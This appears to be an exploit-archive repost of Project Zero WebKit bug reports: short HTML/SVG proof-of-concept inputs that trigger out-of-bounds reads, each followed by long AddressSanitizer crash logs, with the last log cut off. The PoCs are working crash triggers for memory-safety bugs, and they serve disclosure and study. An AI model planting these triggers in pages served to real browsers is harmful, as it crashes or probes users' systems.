    #8 0x110794388 in WebCore::RenderStyle::createPtr() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe388)
    #9 0x110ca204d in WebCore::StyleResolver::styleForElement(WebCore::Element const&, WebCore::RenderStyle const*, WebCore::RenderStyle const*, WebCore::RuleMatchingBehavior, WebCore::RenderRegion const*, WebCore::SelectorFilter const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d0c04d)
    #10 0x110ce1afb in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bafb)
    #11 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
    #12 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
    #13 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #14 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #15 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #16 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #17 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #18 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #19 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #20 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #21 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #22 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #23 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #24 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #25 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #26 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #27 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #28 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #29 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f) in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const
Shadow bytes around the buggy address:
  0x1c100000ef80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000ef90: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000efa0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000efb0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000efc0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
=>0x1c100000efd0: fa fa fa fa fd fd fd fd fd[fd]fd fd fd fd fd fa
  0x1c100000efe0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000eff0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f000: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f010: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f020: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30588==ABORTING
-->
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1350

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<svg stroke="url(#pattern)">
<pattern id="pattern" xlink:href="#filter">
</pattern>
<line x1="0" y1="0" x2="1" y2="1" />
<filter id="filter" height="0" />

/*
=================================================================

ASan log:

=================================================================
==30453==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200007e474 at pc 0x0001130a7153 bp 0x7fff5463b410 sp 0x7fff5463b408
READ of size 8 at 0x61200007e474 thread T0
==30453==WARNING: invalid path to external symbolizer!
==30453==WARNING: Failed to use and restart external symbolizer!
    #0 0x1130a7152 in WebCore::SVGPatternElement::collectPatternAttributes(WebCore::PatternAttributes&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e99152)
    #1 0x112a5145a in WebCore::RenderSVGResourcePattern::collectPatternAttributes(WebCore::PatternAttributes&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284345a)
    #2 0x112a52ec8 in WebCore::RenderSVGResourcePattern::applyResource(WebCore::RenderElement&, WebCore::RenderStyle const&, WebCore::GraphicsContext*&, WTF::OptionSet<WebCore::RenderSVGResourceMode>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2844ec8)
    #3 0x112a5ba15 in WebCore::RenderSVGShape::strokeShape(WebCore::RenderStyle const&, WebCore::GraphicsContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284da15)
    #4 0x112a5bd93 in WebCore::RenderSVGShape::strokeShape(WebCore::GraphicsContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284dd93)
    #5 0x112a5bf73 in WebCore::RenderSVGShape::fillStrokeMarkers(WebCore::PaintInfo&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284df73)
    #6 0x112a5c607 in WebCore::RenderSVGShape::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284e607)
    #7 0x112a5808c in WebCore::RenderSVGRoot::paintReplaced(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284a08c)
    #8 0x1129f2437 in WebCore::RenderReplaced::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27e4437)
    #9 0x11286144d in WebCore::RenderElement::paintAsInlineBlock(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x265344d)
    #10 0x1111dca7c in WebCore::InlineElementBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfcea7c)
    #11 0x1111eaf61 in WebCore::InlineFlowBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfdcf61)
    #12 0x112bce3fb in WebCore::RootInlineBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29c03fb)
    #13 0x11296d30a in WebCore::RenderLineBoxList::paint(WebCore::RenderBoxModelObject*, WebCore::PaintInfo&, WebCore::LayoutPoint const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x275f30a)
    #14 0x11274fd8f in WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541d8f)
    #15 0x1127510f0 in WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25430f0)
    #16 0x11274fa11 in WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541a11)
    #17 0x1127504a7 in WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool, WebCore::RenderBlock::PaintBlockType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25424a7)
    #18 0x11274ffae in WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541fae)
    #19 0x11274fe87 in WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541e87)
    #20 0x1127510f0 in WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25430f0)
    #21 0x11274fa11 in WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541a11)
    #22 0x11290e9e6 in WebCore::RenderLayer::paintForegroundForFragmentsWithPhase(WebCore::PaintPhase, WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow, 16ul> const&, WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27009e6)
    #23 0x11290a93b in WebCore::RenderLayer::paintForegroundForFragments(WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow, 16ul> const&, WebCore::GraphicsContext&, WebCore::GraphicsContext&, WebCore::LayoutRect const&, bool, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26fc93b)
    #24 0x112905528 in WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f7528)
    #25 0x1129029a2 in WebCore::RenderLayer::paintLayer(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f49a2)
    #26 0x11290a5ef in WebCore::RenderLayer::paintList(WTF::Vector<WebCore::RenderLayer*, 0ul, WTF::CrashOnOverflow, 16ul>*, WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26fc5ef)
    #27 0x1129055ba in WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f75ba)
    #28 0x11293f3c6 in WebCore::RenderLayerBacking::paintIntoLayer(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, WebCore::IntRect const&, unsigned int, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27313c6)
    #29 0x11293fb5f in WebCore::RenderLayerBacking::paintContents(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, unsigned int, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2731b5f)
    #30 0x110e69212 in WebCore::GraphicsLayer::paintGraphicsLayerContents(WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc5b212)
    #31 0x110e7d715 in WebCore::GraphicsLayerCA::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc6f715)
    #32 0x112690ca8 in WebCore::PlatformCALayer::drawLayerContents(CGContext*, WebCore::PlatformCALayer*, WTF::Vector<WebCore::FloatRect, 5ul, WTF::CrashOnOverflow, 16ul>&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2482ca8)
    #33 0x1131ccb57 in WebCore::TileGrid::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fbeb57)
    #34 0x11345a2c7 in -[WebSimpleLayer drawInContext:] (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x324c2c7)
    #35 0x7fffdadc0891 in CABackingStoreUpdate_ (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x13891)
    #36 0x7fffdaedf557 in invocation function for block in CA::Layer::display_() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x132557)
    #37 0x7fffdaedf06f in CA::Layer::display_() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x13206f)
    #38 0x113459fbc in -[WebSimpleLayer display] (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x324bfbc)
    #39 0x7fffdaed3051 in CA::Layer::display_if_needed(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x126051)
    #40 0x7fffdaed317c in CA::Layer::layout_and_display_if_needed(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x12617c)
    #41 0x7fffdaec8933 in CA::Context::commit_transaction(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x11b933)
    #42 0x7fffdadbd7e0 in CA::Transaction::commit() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x107e0)
    #43 0x7fffdadbe1fb in CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, void*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x111fb)
    #44 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #45 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #46 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #47 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #48 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #49 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #50 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #51 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #52 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #53 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #54 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #55 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #56 0x10b5bf56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #57 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x61200007e474 is located 28 bytes to the right of 280-byte region [0x61200007e340,0x61200007e458)
allocated by thread T0 here:
    #0 0x10b626d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11ede4ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11ede2d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11ed69247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11ed6863a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x110354648 in WebCore::Node::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x146648)
    #7 0x113041e7d in WebCore::SVGFilterElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e33e7d)
    #8 0x112ff58a3 in WebCore::filterConstructor(WebCore::QualifiedName const&, WebCore::Document&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2de78a3)
    #9 0x112ff294d in WebCore::SVGElementFactory::createElement(WebCore::QualifiedName const&, WebCore::Document&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2de494d)
    #10 0x11099ad80 in WebCore::Document::createElement(WebCore::QualifiedName const&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78cd80)
    #11 0x110f1ed2d in WebCore::HTMLConstructionSite::createElement(WebCore::AtomicHTMLToken&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd10d2d)
    #12 0x110f1eabe in WebCore::HTMLConstructionSite::insertForeignElement(WebCore::AtomicHTMLToken&&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd10abe)
    #13 0x11108190a in WebCore::HTMLTreeBuilder::processTokenInForeignContent(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe7390a)
    #14 0x111080d07 in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe72d07)
    #15 0x110f49c8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #16 0x110f49849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #17 0x110f489c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #18 0x110f4a4e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #19 0x110928531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #20 0x110a6563d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #21 0x110a26736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #22 0x1104a2047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #23 0x11049adf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #24 0x112f72661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #25 0x10db2d43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #26 0x10db306d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #27 0x10db2fbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #28 0x10d321117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #29 0x10d100695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e99152) in WebCore::SVGPatternElement::collectPatternAttributes(WebCore::PatternAttributes&) const
Shadow bytes around the buggy address:
  0x1c240000fc30: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fc40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fc50: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
  0x1c240000fc60: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c240000fc80: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa[fa]fa
  0x1c240000fc90: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fcc0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30453==ABORTING
*/
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1349

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<style>
* { border-bottom: green solid; margin: 0px; }
</style>
<script>
function eventhandler() {
  dd.before(a);
  document.caretRangeFromPoint(0,0);
}
</script>
<h6>
<a id="a"></a>
</h6>
<dd id="dd"></dd>
<svg>
<set attributeName="dominant-baseline" onbegin="eventhandler()" />

/*
=================================================================

ASan log:

=================================================================
==30436==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000560c48 at pc 0x00010c8f583a bp 0x7fff5c1a8e70 sp 0x7fff5c1a8e68
READ of size 4 at 0x606000560c48 thread T0
==30436==WARNING: invalid path to external symbolizer!
==30436==WARNING: Failed to use and restart external symbolizer!
